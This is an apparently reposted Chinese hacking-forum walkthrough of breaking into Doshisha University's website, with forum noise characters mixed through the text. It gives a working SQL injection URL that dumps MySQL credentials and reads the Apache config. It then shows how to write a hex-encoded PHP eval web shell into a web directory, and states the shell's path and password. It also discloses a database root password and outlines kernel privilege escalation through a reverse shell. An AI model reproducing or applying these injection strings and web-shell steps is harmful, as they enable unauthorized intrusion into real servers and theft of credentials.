入侵日本同志社大学

admin

入侵日本同志社大学技术分析

http://www.doshisha.ac.jp/chs/news/index.php?i=-1
* r4 T$ k/ F& D. J4 Y然后联合查询，猜字段，查版本，查密码，读取文件…….就是各种查啊，语句是：
& C7 i  A- s9 r! k% h- {1 ]
+ ]: [* ?/ p0 S4 D0 bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
% l, w8 h* [. I
4 f) D% E# }+ Y/ K1 @' c+ N* W! m

//@@datadir为数据库文件路径


* J) A( n. |3 t6 H% X, ^//load_file读取网站容器apache的配置文件


8 E, Y7 k/ B" k5 c" K7 _3 d6 G//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
复制代码
. {6 r4 x4 G" f9 S7 ]" G0 _, f- S4 m
虽然解得MySQL的root账户密码为mysql00，但是host为localhost，只允许本机登陆，所以用处不大。

而且Apache的配置文件显示，服务器拒绝非该大学的ip访问/admin/和phpMyAdmin，所以即使爆出管理员账户密码也没用。
(大家对以上各种查和语句不太懂的可以参考以下文章：http://bbs.blackbap.org/thread-2243-1-1.html)
0 a# T$ [2 N* `8 t3 B$ [- y
% j8 o3 \/ w. W前面load_file是因为发现了各文件夹权限限制的死，不允许外校ip登陆，所以就猜了一下apache的配置文件绝对路径为默认，后来发现还真的是默认的路径。
如果知道怎么猜apache配置文件的路径的请参考以下文章：http://bbs.blackbap.org/thread-2242-1-1.html
  W8 j  E& U4 W/ g! Z. |
既然已经知道了Apache的配置文件的内容，我们也就轻易知道了网站物理路径，路径为：/http/www/koho/
虽然/admin和phpMyAdmin的目录都限制了，但是想了想，我们只要有注入点就可以可以写入shell了，因为php的GPC为off，怎么判断为off我就不说了。
, f4 s4 i6 C/ x  P直接写一句话：

http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
! L6 N: j1 o& D+ T! F- T) }
! _8 P) s' B2 I) a/ D

//最后的#是为了闭合前面的语句
8 o, e; I, L! r+ E

) O* i0 F+ y4 [0 \0 r' o8 J3 N: z/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E


1 [+ y6 r! }: _" z! v  r为一句话<?php @eval($_POST['cmd']);?>的HEX编码，不懂(HEX编码)的话Google一下就好*/
9 p) k/ z0 H# ~! z. F, V: d2 K' F' B

//如果直接select 一句话 into outfile ‘路径’会提示字段数不同，所以select 1,2,3,4…来执行注入语句

# V, t  O; a$ x; y
0 G1 Y/ p4 x" F/ E  B# c2 c//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中，可能会导致一句话执行错误
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
复制代码
) O2 z6 h- t7 c$ w% n& f
, X4 \6 A  R3 p+ `5 x) s7 SHEX其实就是十六进制编码，不知道这个编码的话，去搜一下好了，HEX编码转换在线本地各种工具各种有
通过上述注入语句，我们就得到了一句话木马:

* Z' ^, ^$ z' n
+ k  j' o* N9 I) f  ?
7 I9 ?& b; A1 j6 _! [! O

' U2 F: q+ b3 vhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
复制代码
. j) k* L9 f1 A, L9 z" l" y
, J- P. P( L6 l2 y用菜刀连接，密码是cmd，如图所示：
3 J: d8 l  r) {7 U8 {8 [. T7 i然后在命令提示行里看了一下，现在的权限是：
. ~7 i( c3 G4 \
之后按照惯例我看了一下/tmp/文件夹，发现/TMP/权限居然被禁掉了，很少有服务器禁掉这个文件夹的。
好在赋权给这个文件夹不需要root，直接执行赋权语句：

# P) ]$ I& h" a6 ^$ m5 G
  ?* l0 f* t# ]% F# E1 s( B; n


7 A: e9 |" s. P3 {2 e9 u. [6 schmod +x /tmp/
* d6 z: u5 c( C" N, k% N/ v复制代码
8 T6 ]# t. p- Z( {+ a4 N( G
在这说一下，linux里面的文件夹跟文件一样，执行命令自然也可以按照像文件一样的执行
然后就查了一下内核版本：
' U+ B, Z* \$ @2 B  h' m* B( c& Z1 V

8 U5 y+ W. r4 [. s  p
$ C) A2 b2 J/ S  B1 U# b
' t9 \" C* t7 e' _5 v
0 U( x5 ]) z- A( Euname-a
. }& @( |$ d8 u

//其实lsb_release -a
复制代码
) O% v$ P4 b1 o% r" b. _
. E  C: P1 v9 S如图所示：
1 L: ^; W- {' v. }( I& Y
2 o5 Y( I- ]2 J  ^1 r: T7 w内核版本：linux mainz1 2.6.28-194.e15
系统描述为：Red Hat Enterprise Linux Server release 5.5 (Tikanga)
查完了系统版本之后就去找找相应的提权脚本！~然后传到/tmp/文件夹
0 R: a& s* A2 W& f9 o8 o
然后给予执行权限
( S, j6 a. p5 Z1 g3 ^一般我都是传上去c源文件，然后”gcc -o /tmp/程序 /tmp/C源码”这样，如果gcc不能用，在其他机器编译好了直接传上去其实也可以，就像这样


7 R9 Y% n6 ~/ K, o8 \0 a( b( O
9 l# q3 N/ ]2 ^# @
. J$ Q. J. k0 u; A4 e
chmod +x /tmp/2.6.18-194
复制代码 然后直接执行！~

总结：
这个注入点的基本思路就是，发现MySQL账户为root，GPC设置为off，搞到了物理路径就直接写Webshell了
3 D+ K% _& N# _& N- M! G提权部分原理就是，本地监听端口，将对方机器反弹回cmdshell来，然后把和内核版本对应的EXP传上去，编译运行，得到root
5 X7 y* @. r  M9 y